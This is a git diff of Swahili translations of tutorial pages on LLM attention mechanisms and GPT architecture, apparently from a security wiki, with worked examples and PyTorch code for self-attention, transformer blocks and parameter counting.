> Lengo la awamu hii ya nne ni rahisi sana: **Tumia baadhi ya mekanismu za umakini**. Hizi zitakuwa **tabaka nyingi zinazojirudia** ambazo zitakuwa **zinanasa uhusiano wa neno katika msamiati na majirani zake katika sentensi ya sasa inayotumika kufundisha LLM**.\
|
||||
@ -12,7 +12,7 @@ Mekanismu za umakini huruhusu mitandao ya neva ku **zingatia sehemu maalum za in
|
||||
|
||||
### Understanding Attention Mechanisms
|
||||
|
||||
Katika mifano ya jadi ya mfuatano-kwa-mfuatano inayotumika kwa tafsiri ya lugha, mfano unachakata mfuatano wa ingizo kuwa vector ya muktadha wa ukubwa wa kudumu. Hata hivyo, mbinu hii inakabiliwa na changamoto na sentensi ndefu kwa sababu vector ya muktadha wa ukubwa wa kudumu inaweza isichukue habari zote muhimu. Mekanismu za umakini zinashughulikia kikomo hiki kwa kuruhusu mfano kuzingatia token zote za ingizo wakati wa kuzalisha kila token ya pato.
|
||||
Katika mifano ya jadi ya mfuatano-kwa-mfuatano inayotumika kwa tafsiri ya lugha, mfano unachakata mfuatano wa ingizo kuwa vector ya muktadha wa ukubwa wa kudumu. Hata hivyo, mbinu hii inakabiliwa na sentensi ndefu kwa sababu vector ya muktadha wa ukubwa wa kudumu inaweza isichukue habari zote muhimu. Mekanismu za umakini zinashughulikia kikomo hiki kwa kuruhusu mfano kuzingatia token zote za ingizo wakati wa kuzalisha kila token ya pato.
|
||||
|
||||
#### Example: Machine Translation
|
||||
|
||||
@ -25,12 +25,12 @@ Umakini wa ndani, au umakini wa ndani, ni mekanismu ambapo umakini unatumika nda
|
||||
#### Key Concepts
|
||||
|
||||
- **Tokens**: Vipengele vya kibinafsi vya mfuatano wa ingizo (mfano, maneno katika sentensi).
|
||||
- **Embeddings**: Uwiano wa vector wa token, ukichukua habari za maana.
|
||||
- **Embeddings**: Uwaki wa vector wa token, ukichukua habari ya maana.
|
||||
- **Attention Weights**: Thamani zinazotathmini umuhimu wa kila token ikilinganishwa na nyingine.
|
||||
|
||||
### Calculating Attention Weights: A Step-by-Step Example
|
||||
|
||||
Tuchukue sentensi **"Hello shiny sun!"** na kuwakilisha kila neno kwa embedding ya vipimo 3-dimensional:
|
||||
Fikiria sentensi **"Hello shiny sun!"** na uwakilishe kila neno kwa embedding ya vipimo 3-dimensional:
|
||||
|
||||
- **Hello**: `[0.34, 0.22, 0.54]`
|
||||
- **shiny**: `[0.53, 0.34, 0.98]`
|
||||
@ -41,9 +41,9 @@ Lengo letu ni kuhesabu **vector ya muktadha** kwa neno **"shiny"** kwa kutumia u
|
||||
#### Step 1: Compute Attention Scores
|
||||
|
||||
> [!TIP]
|
||||
> Piga kila thamani ya kipimo cha swali na ile inayofaa ya kila token na kuongeza matokeo. Unapata thamani 1 kwa kila jozi ya token.
|
||||
> Piga kila thamani ya kipimo cha swali na ile inayofaa ya kila token na ongeza matokeo. Unapata thamani 1 kwa kila jozi ya token.
|
||||
|
||||
Kwa kila neno katika sentensi, hesabu **alama za umakini** kuhusiana na "shiny" kwa kuhesabu bidhaa ya dot ya embeddings zao.
|
||||
Kwa kila neno katika sentensi, hesabu **alama za umakini** kuhusiana na "shiny" kwa kuhesabu bidhaa ya dot ya uwakilishi wao.
|
||||
|
||||
**Attention Score between "Hello" and "shiny"**
|
||||
|
||||
@ -62,34 +62,34 @@ Kwa kila neno katika sentensi, hesabu **alama za umakini** kuhusiana na "shiny"
|
||||
> [!TIP]
|
||||
> Usipoteze mwelekeo katika maneno ya kihesabu, lengo la kazi hii ni rahisi, normalize uzito wote ili **wajumuishe 1 kwa jumla**.
|
||||
>
|
||||
> Aidha, **softmax** inatumika kwa sababu inasisitiza tofauti kutokana na sehemu ya exponential, ikifanya iwe rahisi kugundua thamani muhimu.
|
||||
> Zaidi ya hayo, **softmax** inatumika kwa sababu inasisitiza tofauti kutokana na sehemu ya exponential, ikifanya iwe rahisi kugundua thamani zinazofaa.
|
||||
|
||||
Tumia **softmax function** kwa alama za umakini ili kuziweka kuwa uzito wa umakini ambao unajumlisha hadi 1.
|
||||
Tumia **softmax function** kwa alama za umakini ili kuziweka kuwa uzito wa umakini unaojumlisha hadi 1.
|
||||
|
||||
<figure><img src="../../images/image (3) (1) (1) (1) (1).png" alt="" width="293"><figcaption></figcaption></figure>
|
||||
|
||||
Kuandika exponentials:
|
||||
Kuhesabu exponentials:
|
||||
|
||||
<figure><img src="../../images/image (4) (1) (1).png" alt="" width="249"><figcaption></figcaption></figure>
|
||||
|
||||
Kuandika jumla:
|
||||
Kuhesabu jumla:
|
||||
|
||||
<figure><img src="../../images/image (5) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
|
||||
|
||||
Kuandika uzito wa umakini:
|
||||
Kuhesabu uzito wa umakini:
|
||||
|
||||
<figure><img src="../../images/image (6) (1) (1).png" alt="" width="404"><figcaption></figcaption></figure>
|
||||
|
||||
#### Step 3: Compute the Context Vector
|
||||
|
||||
> [!TIP]
|
||||
> Chukua kila uzito wa umakini na uipige kwa vipimo vya token vinavyohusiana na kisha jumlisha vipimo vyote ili kupata vector 1 tu (vector ya muktadha)
|
||||
> Chukua kila uzito wa umakini na upige kwa vipimo vya token vinavyohusiana na kisha ongeza vipimo vyote ili kupata vector 1 tu (vector ya muktadha)
|
||||
|
||||
**Vector ya muktadha** inahesabiwa kama jumla ya uzito wa embeddings za maneno yote, kwa kutumia uzito wa umakini.
|
||||
**Vector ya muktadha** inahesabiwa kama jumla yenye uzito wa uwakilishi wa maneno yote, ikitumia uzito wa umakini.
|
||||
|
||||
<figure><img src="../../images/image (16).png" alt="" width="369"><figcaption></figcaption></figure>
|
||||
|
||||
Kuandika kila kipengele:
|
||||
Kuhesabu kila kipengele:
|
||||
|
||||
- **Weighted Embedding of "Hello"**:
|
||||
|
||||
@ -103,21 +103,21 @@ Kuandika kila kipengele:
|
||||
|
||||
<figure><img src="../../images/image (9) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Kujumlisha embeddings zenye uzito:
|
||||
Kuongeza uwakilishi wenye uzito:
|
||||
|
||||
`context vector=[0.0779+0.2156+0.1057, 0.0504+0.1382+0.1972, 0.1237+0.3983+0.3390]=[0.3992,0.3858,0.8610]`
|
||||
|
||||
**Vector hii ya muktadha inawakilisha embedding iliyoimarishwa kwa neno "shiny," ikijumuisha habari kutoka kwa maneno yote katika sentensi.**
|
||||
**Hii vector ya muktadha inawakilisha uwakilishi ulioimarishwa kwa neno "shiny," ikijumuisha habari kutoka kwa maneno yote katika sentensi.**
|
||||
|
||||
### Summary of the Process
|
||||
|
||||
1. **Compute Attention Scores**: Tumia bidhaa ya dot kati ya embedding ya neno lengwa na embeddings za maneno yote katika mfuatano.
|
||||
2. **Normalize Scores to Get Attention Weights**: Tumia softmax function kwa alama za umakini ili kupata uzito unaojumlisha hadi 1.
|
||||
3. **Compute Context Vector**: Piga embedding ya kila neno kwa uzito wake wa umakini na jumlisha matokeo.
|
||||
1. **Compute Attention Scores**: Tumia bidhaa ya dot kati ya uwakilishi wa neno lengwa na uwakilishi wa maneno yote katika mfuatano.
|
||||
2. **Normalize Scores to Get Attention Weights**: Tumia kazi ya softmax kwa alama za umakini ili kupata uzito unaojumlisha hadi 1.
|
||||
3. **Compute Context Vector**: Piga uwakilishi wa kila neno kwa uzito wake wa umakini na ongeza matokeo.
|
||||
|
||||
## Self-Attention with Trainable Weights
|
||||
|
||||
Katika mazoezi, mekanismu za umakini wa ndani hutumia **uzito unaoweza kufundishwa** kujifunza uwakilishi bora wa maswali, funguo, na thamani. Hii inahusisha kuanzisha matrices tatu za uzito:
|
||||
Katika mazoezi, mekanismu za umakini wa ndani hutumia **uzito unaoweza kufundishwa** kujifunza uwakilishi bora kwa maswali, funguo, na thamani. Hii inahusisha kuanzisha matrices tatu za uzito:
|
||||
|
||||
<figure><img src="../../images/image (10) (1) (1).png" alt="" width="239"><figcaption></figcaption></figure>
|
||||
|
||||
@ -129,14 +129,14 @@ Kila token itakuwa na swali lake, funguo na matrix ya thamani kwa kupiga thamani
|
||||
|
||||
<figure><img src="../../images/image (11).png" alt="" width="253"><figcaption></figcaption></figure>
|
||||
|
||||
Matrices hizi zinabadilisha embeddings za asili kuwa nafasi mpya inayofaa kwa kuhesabu umakini.
|
||||
Matrices hizi zinabadilisha uwakilishi wa awali kuwa nafasi mpya inayofaa kwa kuhesabu umakini.
|
||||
|
||||
**Example**
|
||||
|
||||
Tukichukulia:
|
||||
|
||||
- Dimensheni ya ingizo `din=3` (ukubwa wa embedding)
|
||||
- Dimensheni ya pato `dout=2` (dimensheni inayotakiwa kwa maswali, funguo, na thamani)
|
||||
- Dimensheni ya ingizo `din=3` (ukubwa wa uwakilishi)
|
||||
- Dimensheni ya pato `dout=2` (ukubwa unaotakiwa kwa maswali, funguo, na thamani)
|
||||
|
||||
Anzisha matrices za uzito:
|
||||
```python
|
||||
@ -165,14 +165,14 @@ Kama ilivyo katika mfano wa awali, lakini wakati huu, badala ya kutumia thamani
|
||||
|
||||
**Scale the Scores**
|
||||
|
||||
Ili kuzuia dot products kuwa kubwa sana, ziongeze kwa mzizi wa mraba wa kipimo cha funguo `dk`:
|
||||
Ili kuzuia bidhaa za dot kuwa kubwa sana, ziongeze kwa mzizi wa mraba wa kipimo cha funguo `dk`:
|
||||
|
||||
<figure><img src="../../images/image (13).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Alama inagawanywa kwa mzizi wa mraba wa vipimo kwa sababu dot products zinaweza kuwa kubwa sana na hii husaidia kuziangalia.
|
||||
> Alama inagawanywa kwa mzizi wa mraba wa vipimo kwa sababu bidhaa za dot zinaweza kuwa kubwa sana na hii husaidia kuzirekebisha.
|
||||
|
||||
**Apply Softmax to Obtain Attention Weights:** Kama katika mfano wa awali, normalize thamani zote ili zijumuishe 1.
|
||||
**Apply Softmax to Obtain Attention Weights:** Kama katika mfano wa awali, sanifisha thamani zote ili zijumuishe 1.
|
||||
|
||||
<figure><img src="../../images/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
|
||||
|
||||
@ -228,7 +228,7 @@ print(sa_v2(inputs))
|
||||
|
||||
## Causal Attention: Kuficha Maneno ya Baadaye
|
||||
|
||||
Kwa LLMs tunataka mfano uzingatie tu tokens ambazo zinaonekana kabla ya nafasi ya sasa ili **kutabiri token inayofuata**. **Causal attention**, pia inajulikana kama **masked attention**, inafanikiwa kwa kubadilisha mekanismu ya attention ili kuzuia ufikiaji wa tokens za baadaye.
|
||||
Kwa LLMs tunataka mfano uzingatie tu tokens ambazo zinaonekana kabla ya nafasi ya sasa ili **kutabiri token inayofuata**. **Causal attention**, pia inajulikana kama **masked attention**, inafanikiwa kwa kubadilisha mekanizma ya attention ili kuzuia ufikiaji wa tokens za baadaye.
|
||||
|
||||
### Kutumia Mask ya Causal Attention
|
||||
|
||||
@ -252,12 +252,12 @@ attention_weights = torch.softmax(masked_scores, dim=-1)
|
||||
|
||||
### Kuficha Uzito wa Ziada wa Attention kwa Kutumia Dropout
|
||||
|
||||
Ili **kuzuia overfitting**, tunaweza kutumia **dropout** kwa uzito wa attention baada ya operesheni ya softmax. Dropout **hufanya sifuri kwa nasibu baadhi ya uzito wa attention** wakati wa mafunzo.
|
||||
Ili **kuzuia overfitting**, tunaweza kutumia **dropout** kwa uzito wa attention baada ya operesheni ya softmax. Dropout **hufanya baadhi ya uzito wa attention kuwa sifuri kwa nasibu** wakati wa mafunzo.
|
||||
```python
|
||||
dropout = nn.Dropout(p=0.5)
|
||||
attention_weights = dropout(attention_weights)
|
||||
```
|
||||
Mtu wa kawaida wa kuacha ni takriban 10-20%.
|
||||
Kiwango cha kawaida cha kuacha ni takriban 10-20%.
|
||||
|
||||
### Code Example
|
||||
|
||||
@ -413,9 +413,9 @@ Kwa utekelezaji mwingine wa kompakt na mzuri unaweza kutumia [`torch.nn.Multihea
|
||||
>
|
||||
> Ingawa kuruhusu kila kichwa kushughulikia vipimo vyote vya embedding kunaweza kuonekana kuwa na faida kwa sababu kila kichwa kitakuwa na ufikiaji wa taarifa kamili, mazoea ya kawaida ni **kugawanya vipimo vya embedding kati ya vichwa**. Njia hii inalinganisha ufanisi wa kompyuta na utendaji wa mfano na inahimiza kila kichwa kujifunza uwakilishi tofauti. Hivyo, kugawanya vipimo vya embedding kwa ujumla kunapewa kipaumbele kuliko kuwa na kila kichwa kinachunguza vipimo vyote.
|
||||
|
||||
## References
|
||||
## Marejeo
|
||||
|
||||
- [https://www.manning.com/books/build-a-large-language-model-from-scratch](https://www.manning.com/books/build-a-large-language-model-from-scratch)
|
||||
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -1,6 +1,6 @@
|
||||
# 5. LLM Architecture
|
||||
|
||||
{{#include /banners/hacktricks-training.md}}
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
||||
## LLM Architecture
|
||||
|
||||
@ -21,7 +21,7 @@ Mwakilishi wa kiwango cha juu unaweza kuonekana katika:
|
||||
- **Masked Multi-Head Attention**: Inaruhusu mfano kuzingatia sehemu tofauti za maandiko ya ingizo kwa wakati mmoja.
|
||||
- **Layer Normalization**: Hatua ya kawaida ili kuimarisha na kuboresha mafunzo.
|
||||
- **Feed Forward Layer**: Inawajibika kwa kuchakata habari kutoka kwa tabaka la umakini na kufanya utabiri kuhusu token inayofuata.
|
||||
- **Dropout Layers**: Tabaka hizi zinazuia overfitting kwa kuacha vitengo kwa bahati nasibu wakati wa mafunzo.
|
||||
- **Dropout Layers**: Tabaka hizi zinazuia overfitting kwa kuangusha vitengo kwa bahati nasibu wakati wa mafunzo.
|
||||
4. **Final Output Layer**: Mfano unatoa **4x50,257-dimensional tensor**, ambapo **50,257** inawakilisha ukubwa wa msamiati. Kila safu katika tensor hii inahusiana na vector ambayo mfano hutumia kutabiri neno linalofuata katika mfuatano.
|
||||
5. **Goal**: Lengo ni kuchukua embeddings hizi na kuzibadilisha tena kuwa maandiko. Kwa hakika, safu ya mwisho ya matokeo inatumika kuzalisha neno linalofuata, linalowakilishwa kama "forward" katika mchoro huu.
|
||||
|
||||
@ -212,14 +212,14 @@ torch.sqrt(torch.tensor(2.0 / torch.pi)) *
|
||||
```
|
||||
#### **Madhumuni na Ufanisi**
|
||||
|
||||
- **GELU (Gaussian Error Linear Unit):** Kazi ya kuamsha ambayo inaingiza kutokuwa na mstari katika mfano.
|
||||
- **Kuamsha kwa Ufanisi:** Tofauti na ReLU, ambayo inafuta maingizo hasi, GELU inachora kwa laini maingizo kuwa matokeo, ikiruhusu thamani ndogo, zisizo sifuri kwa maingizo hasi.
|
||||
- **GELU (Gaussian Error Linear Unit):** Kazi ya kuamsha ambayo inaingiza kutokuwa na mstari ndani ya mfano.
|
||||
- **Kuamsha kwa Ufanisi:** Tofauti na ReLU, ambayo inafuta maingizo hasi, GELU inachora kwa laini maingizo kuwa matokeo, ikiruhusu thamani ndogo, zisizo za sifuri kwa maingizo hasi.
|
||||
- **Mwelekeo wa Kihesabu:**
|
||||
|
||||
<figure><img src="../../images/image (2) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
> [!TIP]
|
||||
> Lengo la matumizi ya kazi hii baada ya tabaka za mstari ndani ya tabaka la FeedForward ni kubadilisha data ya mstari kuwa isiyo ya mstari ili kuruhusu mfano kujifunza uhusiano tata, usio wa mstari.
|
||||
> Lengo la matumizi ya kazi hii baada ya tabaka za mstari ndani ya tabaka la FeedForward ni kubadilisha data za mstari kuwa zisizo za mstari ili kuruhusu mfano kujifunza uhusiano tata, zisizo za mstari.
|
||||
|
||||
### **Mtandao wa Neva wa FeedForward**
|
||||
|
||||
@ -245,14 +245,14 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
```
|
||||
#### **Madhumuni na Ufanisi**
|
||||
|
||||
- **Mtandao wa FeedForward Kulingana na Nafasi:** Inatumia mtandao wa viwango viwili uliounganishwa kikamilifu kwa kila nafasi tofauti na kwa njia sawa.
|
||||
- **Maelezo ya Kiwango:**
|
||||
- **Mtandao wa FeedForward Kulingana na Nafasi:** Inatumia mtandao wa viwango viwili vilivyounganishwa kwa kila nafasi tofauti na kwa njia sawa.
|
||||
- **Maelezo ya Viwango:**
|
||||
- **Kiwango cha Kwanza cha Mstari:** Kinapanua ukubwa kutoka `emb_dim` hadi `4 * emb_dim`.
|
||||
- **Kazi ya GELU:** Inatumia kutokuwa na mstari.
|
||||
- **Kiwango cha Pili cha Mstari:** Kinapunguza ukubwa kurudi kwenye `emb_dim`.
|
||||
|
||||
> [!TIP]
|
||||
> Kama unavyoona, mtandao wa Feed Forward unatumia viwango 3. Kiwango cha kwanza ni kiwango cha mstari ambacho kitazidisha ukubwa kwa 4 kwa kutumia uzito wa mstari (vigezo vya kufundisha ndani ya mfano). Kisha, kazi ya GELU inatumika katika ukubwa wote ili kuleta mabadiliko yasiyo ya mstari ili kupata uwakilishi mzuri na hatimaye kiwango kingine cha mstari kinatumika kurudi kwenye ukubwa wa awali wa ukubwa.
|
||||
> Kama unavyoona, mtandao wa Feed Forward unatumia viwango 3. Kiwango cha kwanza ni kiwango cha mstari ambacho kitazidisha ukubwa kwa 4 kwa kutumia uzito wa mstari (vigezo vya kufundisha ndani ya mfano). Kisha, kazi ya GELU inatumika katika ukubwa wote ili kuleta mabadiliko yasiyo ya mstari ili kupata uwakilishi mzuri zaidi na hatimaye kiwango kingine cha mstari kinatumika kurudi kwenye ukubwa wa awali wa ukubwa.
|
||||
|
||||
### **Mekanismu ya Umakini wa Vichwa Vingi**
|
||||
|
||||
@ -271,7 +271,7 @@ Hii tayari ilielezwa katika sehemu ya awali.
|
||||
- **Mipango ya Matokeo:** Kiwango cha mstari cha kuunganisha matokeo ya vichwa vyote.
|
||||
|
||||
> [!TIP]
|
||||
> Lengo la mtandao huu ni kupata uhusiano kati ya token katika muktadha sawa. Aidha, token zimegawanywa katika vichwa tofauti ili kuzuia overfitting ingawa uhusiano wa mwisho uliofanywa kwa kila kichwa unachanganywa mwishoni mwa mtandao huu.
|
||||
> Lengo la mtandao huu ni kupata uhusiano kati ya token katika muktadha sawa. Aidha, token zimegawanywa katika vichwa tofauti ili kuzuia overfitting ingawa uhusiano wa mwisho uliopatikana kwa kila kichwa unachanganywa mwishoni mwa mtandao huu.
|
||||
>
|
||||
> Aidha, wakati wa mafunzo **mask ya sababu** inatumika ili token za baadaye zisihesabiwe wakati wa kutafuta uhusiano maalum kwa token na **dropout** pia inatumika ili **kuzuia overfitting**.
|
||||
|
||||
@ -296,15 +296,15 @@ return self.scale * norm_x + self.shift
|
||||
- **Layer Normalization:** Mbinu inayotumika kurekebisha ingizo kati ya vipengele (embedding dimensions) kwa kila mfano binafsi katika kundi.
|
||||
- **Vipengele:**
|
||||
- **`eps`:** Kiwango kidogo (`1e-5`) kinachoongezwa kwa variance ili kuzuia kugawanya kwa sifuri wakati wa normalization.
|
||||
- **`scale` na `shift`:** Vigezo vinavyoweza kujifunza (`nn.Parameter`) vinavyomruhusu modeli kupanua na kuhamasisha matokeo yaliyorekebishwa. Vimeanzishwa kuwa moja na sifuri, mtawalia.
|
||||
- **`scale` na `shift`:** Vigezo vinavyoweza kujifunza (`nn.Parameter`) vinavyomruhusu mfano kupima na kuhamasisha matokeo yaliyorekebishwa. Vimeanzishwa kuwa moja na sifuri, mtawalia.
|
||||
- **Mchakato wa Kurekebisha:**
|
||||
- **Hesabu ya Mean (`mean`):** Hesabu ya wastani wa ingizo `x` kati ya dimension ya embedding (`dim=-1`), ikihifadhi dimension kwa ajili ya broadcasting (`keepdim=True`).
|
||||
- **Hesabu ya Variance (`var`):** Hesabu ya variance ya `x` kati ya dimension ya embedding, pia ikihifadhi dimension. Kigezo cha `unbiased=False` kinahakikisha kuwa variance inahesabiwa kwa kutumia mhesabu yenye upendeleo (kugawanya kwa `N` badala ya `N-1`), ambayo ni sahihi wakati wa kurekebisha juu ya vipengele badala ya sampuli.
|
||||
- **Normalize (`norm_x`):** Inapunguza wastani kutoka `x` na kugawanya kwa mzizi wa variance pamoja na `eps`.
|
||||
- **Hesabu Mean (`mean`):** Hesabu mean ya ingizo `x` kati ya dimension ya embedding (`dim=-1`), ikihifadhi dimension kwa ajili ya broadcasting (`keepdim=True`).
|
||||
- **Hesabu Variance (`var`):** Hesabu variance ya `x` kati ya dimension ya embedding, pia ikihifadhi dimension. Paramenta `unbiased=False` inahakikisha kuwa variance inahesabiwa kwa kutumia mhesabu wa biased (kugawanya kwa `N` badala ya `N-1`), ambayo ni sahihi wakati wa kurekebisha juu ya vipengele badala ya sampuli.
|
||||
- **Normalize (`norm_x`):** Inapunguza mean kutoka `x` na kugawanya kwa mzizi wa variance pamoja na `eps`.
|
||||
- **Scale na Shift:** Inatumia vigezo vinavyoweza kujifunza `scale` na `shift` kwa matokeo yaliyorekebishwa.
|
||||
|
||||
> [!TIP]
|
||||
> Lengo ni kuhakikisha wastani wa 0 na variance ya 1 kati ya vipimo vyote vya token sawa. Lengo la hili ni **kuimarisha mafunzo ya mitandao ya neva ya kina** kwa kupunguza mabadiliko ya ndani ya covariate, ambayo inahusisha mabadiliko katika usambazaji wa uhamasishaji wa mtandao kutokana na kubadilishwa kwa vigezo wakati wa mafunzo.
|
||||
> Lengo ni kuhakikisha mean ya 0 na variance ya 1 kati ya dimensions zote za token sawa. Lengo la hili ni **kuimarisha mafunzo ya mitandao ya neva ya kina** kwa kupunguza mabadiliko ya ndani ya covariate, ambayo inahusisha mabadiliko katika usambazaji wa uhamasishaji wa mtandao kutokana na kubadilisha vigezo wakati wa mafunzo.
|
||||
|
||||
### **Transformer Block**
|
||||
|
||||
@ -352,8 +352,8 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
|
||||
- **Muundo wa Tabaka:** Inachanganya umakini wa vichwa vingi, mtandao wa feedforward, urekebishaji wa tabaka, na muunganisho wa ziada.
|
||||
- **Urekebishaji wa Tabaka:** Unatumika kabla ya tabaka za umakini na feedforward kwa mafunzo thabiti.
|
||||
- **Muunganisho wa Ziada (Njia Fupi):** Ongeza ingizo la tabaka kwa matokeo yake ili kuboresha mtiririko wa gradient na kuwezesha mafunzo ya mitandao yenye kina.
|
||||
- **Dropout:** Unatumika baada ya tabaka za umakini na feedforward kwa udhibiti.
|
||||
- **Muunganisho wa Ziada (Njia Fupi):** Ongeza ingizo la tabaka kwa matokeo yake ili kuboresha mtiririko wa gradient na kuwezesha mafunzo ya mitandao mirefu.
|
||||
- **Dropout:** Unatumika baada ya tabaka za umakini na feedforward kwa ajili ya urekebishaji.
|
||||
|
||||
#### **Ufanisi wa Hatua kwa Hatua**
|
||||
|
||||
@ -361,7 +361,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
- **Ingizo (`shortcut`):** Hifadhi ingizo la awali kwa muunganisho wa ziada.
|
||||
- **Urekebishaji wa Tabaka (`norm1`):** Rekebisha ingizo.
|
||||
- **Umakini wa Vichwa Vingi (`att`):** Tumia umakini wa kibinafsi.
|
||||
- **Dropout (`drop_shortcut`):** Tumia dropout kwa udhibiti.
|
||||
- **Dropout (`drop_shortcut`):** Tumia dropout kwa urekebishaji.
|
||||
- **Ongeza Ziada (`x + shortcut`):** Changanya na ingizo la awali.
|
||||
2. **Njia ya Pili ya Ziada (FeedForward):**
|
||||
- **Ingizo (`shortcut`):** Hifadhi ingizo lililosasishwa kwa muunganisho wa ziada unaofuata.
|
||||
@ -374,7 +374,7 @@ return x # Output shape: (batch_size, seq_len, emb_dim)
|
||||
> Block ya transformer inakusanya mitandao yote pamoja na kutumia **urekebishaji** na **dropouts** kuboresha utulivu wa mafunzo na matokeo.\
|
||||
> Kumbuka jinsi dropouts zinavyofanywa baada ya matumizi ya kila mtandao wakati urekebishaji unatumika kabla.
|
||||
>
|
||||
> Zaidi ya hayo, inatumia njia fupi ambazo zinajumuisha **kuongeza matokeo ya mtandao na ingizo lake**. Hii husaidia kuzuia tatizo la gradient inayopotea kwa kuhakikisha kuwa tabaka za mwanzo zinachangia "kiasi" sawa na zile za mwisho.
|
||||
> Zaidi ya hayo, inatumia njia fupi ambazo zinajumuisha **kuongeza matokeo ya mtandao na ingizo lake**. Hii husaidia kuzuia tatizo la gradient inayopotea kwa kuhakikisha kwamba tabaka za mwanzo zinachangia "kiasi" sawa na zile za mwisho.
|
||||
|
||||
### **GPTModel**
|
||||
|
||||
@ -435,20 +435,20 @@ return logits # Output shape: (batch_size, seq_len, vocab_size)
|
||||
```
|
||||
#### **Madhumuni na Ufanisi**
|
||||
|
||||
- **Mifumo ya Kuunganisha:**
|
||||
- **Embedding Layers:**
|
||||
- **Token Embeddings (`tok_emb`):** Hubadilisha viashiria vya token kuwa embeddings. Kama ukumbusho, hizi ni uzito zinazotolewa kwa kila kipimo cha kila token katika msamiati.
|
||||
- **Positional Embeddings (`pos_emb`):** Inaongeza taarifa za nafasi kwa embeddings ili kukamata mpangilio wa token. Kama ukumbusho, hizi ni uzito zinazotolewa kwa token kulingana na nafasi yake katika maandiko.
|
||||
- **Dropout (`drop_emb`):** Inatumika kwa embeddings kwa ajili ya udhibiti.
|
||||
- **Positional Embeddings (`pos_emb`):** Ongeza taarifa za nafasi kwa embeddings ili kukamata mpangilio wa token. Kama ukumbusho, hizi ni uzito zinazotolewa kwa token kulingana na nafasi yake katika maandiko.
|
||||
- **Dropout (`drop_emb`):** Inatumika kwa embeddings kwa ajili ya regularisation.
|
||||
- **Transformer Blocks (`trf_blocks`):** Kifungu cha `n_layers` transformer blocks ili kushughulikia embeddings.
|
||||
- **Final Normalization (`final_norm`):** Kiwango cha kawaida kabla ya safu ya matokeo.
|
||||
- **Output Layer (`out_head`):** Inatoa hali za mwisho zilizofichwa kwa ukubwa wa msamiati ili kutoa logits kwa ajili ya utabiri.
|
||||
- **Final Normalization (`final_norm`):** Kiwango cha normalization kabla ya safu ya matokeo.
|
||||
- **Output Layer (`out_head`):** Inatabiri hali za mwisho zilizofichwa kwa ukubwa wa msamiati ili kutoa logits kwa ajili ya utabiri.
|
||||
|
||||
> [!TIP]
|
||||
> Lengo la darasa hili ni kutumia mitandao mingine yote iliyotajwa ili **kutabiri token inayofuata katika mfuatano**, ambayo ni muhimu kwa kazi kama vile uzalishaji wa maandiko.
|
||||
>
|
||||
> Kumbuka jinsi itakavy **tumia transformer blocks nyingi kadri zilivyoonyeshwa** na kwamba kila transformer block inatumia mtandao mmoja wa multi-head attestation, mtandao mmoja wa feed forward na kadhaa ya normalizations. Hivyo ikiwa transformer blocks 12 zinatumika, ongeza hii kwa 12.
|
||||
> Kumbuka jinsi itakavy **tumia blocks za transformer nyingi kadri zilivyoonyeshwa** na kwamba kila block ya transformer inatumia neti moja ya multi-head attestation, neti moja ya feed forward na normalizations kadhaa. Hivyo kama blocks 12 za transformer zinatumika, ongeza hii kwa 12.
|
||||
>
|
||||
> Zaidi ya hayo, safu ya **normalization** inaongezwa **kabla** ya **matokeo** na safu ya mwisho ya moja kwa moja inatumika mwishoni kupata matokeo yenye vipimo sahihi. Kumbuka jinsi kila vector ya mwisho ina ukubwa wa msamiati ulio tumika. Hii ni kwa sababu inajaribu kupata uwezekano kwa kila token inayowezekana ndani ya msamiati.
|
||||
> Zaidi ya hayo, safu ya **normalization** inaongezwa **kabla** ya **matokeo** na safu ya mwisho ya linear inatumika mwishoni kupata matokeo yenye vipimo sahihi. Kumbuka jinsi kila vector ya mwisho ina ukubwa wa msamiati ulio tumika. Hii ni kwa sababu inajaribu kupata uwezekano kwa kila token inayowezekana ndani ya msamiati.
|
||||
|
||||
## Idadi ya Vigezo vya kufundisha
|
||||
|
||||
@ -483,14 +483,14 @@ token_embedding_params = 50257 * 768 = 38,597,376
|
||||
```python
|
||||
position_embedding_params = 1024 * 768 = 786,432
|
||||
```
|
||||
**Jumla ya Vigezo vya Embedding**
|
||||
**Jumla ya Vigezo vya Kuunganisha**
|
||||
```python
|
||||
embedding_params = token_embedding_params + position_embedding_params
|
||||
embedding_params = 38,597,376 + 786,432 = 39,383,808
|
||||
```
|
||||
#### **2. Transformer Blocks**
|
||||
|
||||
Kuna blocks 12 za transformer, hivyo tutahesabu vigezo vya block moja kisha kuzidisha kwa 12.
|
||||
Kuna blocks 12 za transformer, hivyo tutahesabu vigezo kwa block moja kisha kuzidisha kwa 12.
|
||||
|
||||
**Parameters per Transformer Block**
|
||||
|
||||
@ -585,7 +585,7 @@ total_transformer_blocks_params = 7,085,568 * 12 = 85,026,816
|
||||
```python
|
||||
pythonCopy codefinal_layer_norm_params = 2 * 768 = 1,536
|
||||
```
|
||||
**b. Tabaka la Utoaji (`out_head`)**
|
||||
**b. Tabaka la Kutolewa (`out_head`)**
|
||||
|
||||
- **Tabaka:** `nn.Linear(emb_dim, vocab_size, bias=False)`
|
||||
- **Vigezo:** `emb_dim * vocab_size`
|
||||
@ -610,7 +610,7 @@ total_params = 163,009,536
|
||||
```
|
||||
## Generate Text
|
||||
|
||||
Kuwa na mfano unaotabiri token inayofuata kama ile ya awali, inahitajika tu kuchukua thamani za token za mwisho kutoka kwa matokeo (kama zitakuwa zile za token inayotabiriwa), ambazo zitakuwa **thamani kwa kila kipengee katika msamiati** na kisha kutumia kazi ya `softmax` kubadilisha vipimo kuwa uwezekano vinavyos suma 1 na kisha kupata index ya kipengee kikubwa zaidi, ambacho kitakuwa index ya neno ndani ya msamiati.
|
||||
